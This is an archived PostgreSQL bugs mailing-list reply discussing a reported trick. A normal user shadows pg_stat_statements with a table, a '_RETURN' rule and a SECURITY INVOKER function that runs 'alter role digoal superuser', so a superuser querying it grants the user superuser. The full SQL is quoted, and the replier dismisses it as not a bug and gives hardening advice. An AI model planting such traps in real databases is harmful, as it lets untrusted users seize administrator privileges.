BUG #13651: trigger security invoker attack

Поиск
Список
Период
Сортировка
От David G. Johnston
Тема BUG #13651: trigger security invoker attack
Дата
Msg-id CAKFQuwbDAQ5+_3ELH=n3ptU4iLyfL-WC+uYsqx15r8oWJZXwrg@mail.gmail.com
обсуждение исходный текст
Ответ на BUG #13651: trigger security invoker attack  (digoal@126.com)
Список pgsql-bugs
On Tuesday, September 29, 2015, David G. Johnston <
david.g.johnston@gmail.com
<javascript:_e(%7B%7D,'cvml','david.g.johnston@gmail.com');>> wrote:

> On Tuesday, September 29, 2015, =E5=BE=B7=E5=93=A5 <digoal@126.com> wrote=
:
>
>> a normal user get super privilege, use security invoker function.
>> postgres=3D> create table pg_stat_statements (
>>  userid oid              ,
>>  dbid                oid      ,
>>  queryid             bigint      ,
>>  query               text           ,
>>  calls               bigint      ,
>>  total_time          double precision ,
>>  rows                bigint           ,
>>  shared_blks_hit     bigint   ,
>>  shared_blks_read    bigint    ,
>>  shared_blks_dirtied bigint     ,
>>  shared_blks_written bigint      ,
>>  local_blks_hit      bigint       ,
>>  local_blks_read     bigint          ,
>>  local_blks_dirtied  bigint        ,
>>  local_blks_written  bigint         ,
>>  temp_blks_read      bigint          ,
>>  temp_blks_written   bigint           ,
>>  blk_read_time       double precision ,
>>  blk_write_time      double precision );
>>
>> postgres=3D> create or replace function f() returns pg_stat_statements a=
s
>> $$
>> declare
>> begin
>>   alter role digoal superuser;
>> end;
>> $$ language plpgsql security invoker;
>> CREATE FUNCTION
>>
>> postgres=3D> create rule "_RETURN" as on select to pg_stat_statements do
>> instead select * from f();
>> CREATE RULE
>>
>> When a super user select the view pg_stat_statements , the normal user
>> digoal will granted the superuser role.
>>
>> Yes, it's a normal operation ,but somebody can use these trick.
>>
>
>
> Everything you just wrote was done as superuser so what's your point?
>
>
I guess the complaint is that most people, including administrators, aren't
checking to see what rules are being added to tables and if those rules
call invoked functions then the odds of a superuser invoking dangerous code
is significant.  Fine.  It's not a bug and while the risk is non-zero I'm
not coming up with any kind of workable mitigation at the moment.  Don't
let untrustworthy people add code to your database and make sure
admin search-paths are safe to avoid overshadowing.

David J.

В списке pgsql-bugs по дате отправления:

Предыдущее
От: "David G. Johnston"
Дата:
Сообщение: Re: BUG #13651: trigger security invoker attack
Следующее
От: "David G. Johnston"
Дата:
Сообщение: Re: BUG #13651: trigger security invoker attack